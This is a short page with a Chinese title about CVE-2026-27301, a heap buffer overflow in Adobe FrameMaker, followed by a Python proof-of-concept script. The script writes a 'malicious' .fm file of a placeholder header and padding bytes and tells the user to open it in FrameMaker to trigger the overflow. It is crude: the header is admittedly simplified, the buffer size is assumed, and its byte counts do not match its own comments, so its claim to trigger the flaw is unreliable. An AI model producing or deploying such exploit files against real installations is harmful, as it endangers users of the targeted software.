CVE-2026-27301 Adobe Framemaker 堆缓冲区溢出漏洞

import struct # Proof of Concept for CVE-2026-27301 # This script generates a malicious file designed to trigger a heap-based buffer overflow # in Adobe Framemaker versions <= 2022.8. def generate_malicious_file(filename): # Header for a typical Framemaker file (simplified for PoC) header = b'\x00\x00\x00\x00MakerFile' # Construct a payload that exceeds the expected buffer size # Assuming a buffer of 256 bytes, we send 1024 bytes padding = b'A' * 256 overflow_data = b'B' * 800 # Data to overflow the heap buffer # Combine parts payload = header + padding + overflow_data with open(filename, 'wb') as f: f.write(payload) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[+] Open this file in Adobe Framemaker to trigger the vulnerability.") if __name__ == "__main__": generate_malicious_file("cve_2026_27301_poc.fm")